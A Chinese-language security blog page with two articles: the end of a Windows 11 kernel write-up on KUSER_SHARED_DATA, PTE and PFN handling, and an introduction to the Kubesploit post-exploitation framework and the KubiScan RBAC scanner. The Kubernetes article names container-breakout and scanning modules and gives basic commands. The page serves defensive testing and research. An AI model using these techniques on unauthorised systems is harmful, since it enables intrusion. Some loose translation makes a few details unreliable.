簡單來說,nt!MI_READ_PTE_LOCK_FREE將解除對PTE內容的引用,並將其返回,同時,還會對作用域內的頁表項進行檢查,看看它們是否位於PML4E數組的已知地址空間內,其中包含用於PML4分頁結構的PML4頁表條目數組。回顧一下,PML4結構是基本分頁結構。所以,換句話說,這確保了所提供的頁表項駐留在分頁結構的某個地方。這可以在下面看到。

1.png

然而,稍有細微差別的是,該函數實際上是在檢查頁表項是否位於“用戶模式分頁結構”中,該結構又稱為“影子空間”。回想一下,在KVA Shadow的實現(即Microsoft的內核頁表隔離(KPTI)實現)中,現在有兩套分頁結構:一套用於內核模式執行,另一套用於用戶模式。這種緩解措施被用於防禦Meltdown漏洞。但是,這個檢查很容易被“繞過”,因為PTE顯然被映射到了內核模式的地址,所以,肯定不是通過“用戶模式分頁結構”來表示的。

如果PTE不在“影子空間”中,則nt!MI_READ_PTE_LOCK_FREE將返回PTE解引用的內容(例如,PTE的各個“比特”)。如果PTE確實位於“影子空間”中,在返回內容之前,還將對PTE進行一些檢查,以確定KVAS是否被啟用。從漏洞利用的角度來看,這對我們關注的整體變化不是太重要,但它仍然是整個“過程”的一部分。

此外,對我們來說nt!Feature_KernelSharedUserDataAslr__private_IsEnabled並不是很有用——利用它,我們只能通過命名規則了解是否走在正確的道路上。這個函數似乎主要是為了收集關於這個功能的指標和遙測數據。

1.png

在第一次調用nt!MI_READ_PTE_LOCK_FREE後,“靜態”的KUSER_SHARED_DATA結構體的PTE的內容將被複製到一個堆棧地址:RSP,其偏移量為0x20。類似的,這個堆棧地址也用於對另一個函數(即nt!MI_READ_PTE_LOCK_FREE)的調用。再說一次,這對我們來說並不是特別重要,但它卻是這個過程的一部分。

1.png

然而,更有趣的是,nt!MI_READ_PTE_LOCK_FREE解除了對PTE內容的引用,並通過RAX返回它們。由於定義內存的屬性/權限的“靜態”的KUSER_SHARED_DATA結構體的PTE“比特”位於RAX中,所以,需要對其進行相應的位運算,以便從“靜態”的KUSER_SHARED_DATA的PTE中提取頁幀號(PFN)。這個值在PTE中的偏移量是0xf52e,其值是0x800

000000000f52e863。

1.png

1.png

這個PFN將在以後調用nt!MiMakeValidPte時用到。現在,讓我們繼續前進。

現在,我們可以將注意力轉向對nt!MiMakeValidPte的調用。

1.png

請允許我簡單介紹一下PFN記錄:PFN的“值”在技術上只是一個抽象的值,當它乘以0x1000(一個頁面的大小),就會得到一個物理內存地址。在內存分頁過程中,它通常是下一個分頁結構的地址,或者,如果被用於“最後一個”分頁表,即PT(page table)時,可以用來計算最後一個4KB對齊的物理內存頁。

除此之外,PFN記錄還被存儲在一個虛擬地址數組中。這個數組被稱為PFN數據庫。這樣做的原因是,內存管理器可以通過線性(虛擬)地址訪問頁表項,這就提高了性能,因為MMU不需要不斷遍歷所有的分頁結構來獲取PFN、頁表項等。實際上,這就為記錄的引用提供了一種簡單的方法,即通過一個索引訪問數組。這適用於所有的“數組”,包括PTE數組。同時,像nt!MiGetPteAddress這樣的函數,也能夠通過索引訪問相應的頁表數組,比如PTE數組(對應於nt!MiGetPteAddress),PDE數組(PDPT條目,通過nt!MiGetPdeAddress進行訪問),等等。

小結在本文中,我們為讀者詳細介紹了在Windows 11內部預覽版中,KUSER_SHARED_DATA結構體發生了哪些新變化。由於篇幅較長,我們分為上下兩篇進行發布。更多精彩內容,敬請期待!

(未完待續!)

conjur-kubiscan-768x431.jpg

本文講的是如何使用Kubesploit 和KubiScan 提高雲本地安全性。

主流科技企業廣泛使用Kubernetes,它是一個可擴展、輕量級的開源容器編排平台。這個受歡迎的平台擁有不斷擴展的安全工具、支持和服務生態系統,使其成為管理容器分配和服務的首選平台。

但Kubernetes 容器還是存在多種安全風險,包括運行時威脅、漏洞、暴露和失敗的合規性審計。

這些不安全感促使CyberArk 開發了兩個開源工具:Kubesploit 和KubiScan。這些工具通過在模擬真實攻擊的同時執行深度安全操作,使Kubernetes 社區受益。它們使我們能夠測試我們的安全能力。我們無需等待攻擊發生,而是可以主動準備並體驗現實世界的漏洞利用將如何影響我們的系統,然後採取行動防止這些攻擊。

在深入研究這些工具的工作原理並查看一些示例之前,讓我們簡要探討每種解決方案如何幫助提高安全性並了解如何設置它們。

KubesploitKubesploit是一個功能強大的跨平台後滲透漏洞利用HTTP/2命令控制服務器和代理工具,該工具基於Golang開發,基於Merlin項目實現其功能,主要針對的是容器化環境的安全問題。

雖然有一些工具可以幫助緩解Kubernetes 安全問題,但大多數工具實際上並沒有執行全面掃描。看到這個差距,CyberArk 創建了Kubesploit。開發人員在Golang(Go 編程語言)中為容器化環境實施多平台工具Kubesploit。

Kubesploit 通過在集群上執行複雜的攻擊向量覆蓋來工作,這種模擬有助於我們了解我們對網絡中類似攻擊的彈性。

它的各種模塊檢查不同的漏洞。然後,它利用易受攻擊的kubelet 並掃描從Kubernetes 服務到Kubernetes 集群的端口。 Github 存儲庫包含有關Kubesploit 入門的詳細信息。

設置Kubesploit讓我們探索如何掃描Kubernetes 集群以查找已知的常見漏洞和暴露(CVE)。我們將使用K8sClusterSCVEScan 來執行此操作。首先,讓我們將代理加載到第一個終端的根目錄中。然後,在第二個終端中,我們使用./server命令啟動服務器。

接下來,我們運行use module linux/來加載我們想要使用的任何模塊。例如,clusterCVEScan 模塊利用runC 逃逸到主機。要使用該模塊,我們需要設置Kubernetes 集群地址,並運行集群以查看該集群的各種漏洞。

在每個CVE 的描述屬性中,我們可以閱讀有關掃描發現的集群風險的詳細消息。

如何使用Kubesploit讓我們回顧一下如何使用Kubesploit 檢測漏洞的示例。在我們開始之前,請確保你的系統運行與go.mod 文件(Go 1.14)中相同的Go 版本。其他版本可能會給你一個構建約束錯誤。

首先,我們加載代理url 地址。在本例中,你將使用Kubesploit 環境正在偵聽的URL,例如:

image.png

然後,我們使用命令./server 運行我們的Kubesploit 服務器。我們通過對Kubesploit 服務器環境執行代理列表來檢查代理連接是否已啟用。

要掃描URL 中的多個地址,我們使用PortScan 模塊,如下所示:

1.png

現在,讓我們通過允許創建豁免容器來最小化我們的容器漏洞。我們使用ContainerBreakoutMounting 模塊:

2.png

如果操作完成,我們會收到一條消息說我們成功了。

開始使用KubiScan除了Kubesploit, CyberArk還創建了KubiScan。 Kubiscan 是另一個開源工具,可幫助集群管理員診斷可能危及集群的權限洩露。它在Kubernetes 的基於角色的訪問控制(RBAC) 授權模型中掃描Kubernetes 集群以查找有風險的權限。

KubiScan 發現易受攻擊的角色和角色綁定,並識別它們的集群、pod 和主題。這些信息使管理人員能夠在廣泛的環境中檢測被破壞的許可,攻擊者可能會迅速破壞這些許可。

設置KubiScan現在我們對KubiScan 有了更多的了解,我們將在我們的主節點上進行設置。我們使用命令kubectl get pods 來查找可用的pod。然後,我們使用kubiscan -rp 搜索具有易受攻擊帳戶的pod。

獲得特權賬戶後,我們需要確認它是否出現在風險主題列表中。我們通過運行命令kubiscan -rs 來做到這一點。

然後,我們需要找出該主題有多少規則使其能夠洩漏秘密。為此,我們運行命令:

image.png

為了獲取特定集群的令牌,我們使用

image.png

列出其角色綁定。系統管理員可以使用該令牌檢查集群是否可以在默認命名空間中列出機密。當我們執行該命令時,它會顯示帶有各種屬性的JSON 格式的輸出,以顯示漏洞可能在哪裡。

如何使用KubiScan讓我們研究一個使用KubiScan來發現用戶環境中的漏洞的實際示例。首先,我們在環境中使用kubectl get pods 檢查我們的pod 的狀態。我們應該會看到與下麵類似的輸出,具體取決於我們擁有的pod 數量:

3.png

我們使用命令kubiscan -rp 來獲取易受攻擊的主題:

4.png

然後,使用kubiscan -rs來驗證該賬戶是否存在於風險對象列表中:

5.png

為了搜索特定服務帳戶中的所有規則,我們使用kubiscan-aars “risky-sa” -ns “default” -k “ServiceAccount”。

我們還可以使用-aarbs “risky-sa” -ns “default” -k “ServiceAccount”列出服務帳戶角色綁定。

由於Kubernetes 集群是分佈式和動態的,因此它們容易受到攻擊並且難以保護。為了保護我們的Kubernetes 環境,DevSecOps 需要在整個應用程序生命週期中使用各種安全工具和技術,從構建到部署和運行時。

因為我們需要意識到我們的容器安全性,CyberArk 的網絡安全團隊一直在研究新的工具來填補Kubernetes 的安全漏洞。 Kubesploit 和KubiScan 等解決方案可幫助Kubernetes 社區識別和遏制阻礙我們運行的各種漏洞。

為了保證Kubernetes 的安全,開發人員需要一個能夠牢固地保護和驗證容器並管理秘密的平台。我們需要確保我們只允許訪問特定的應用程序、工具和信息。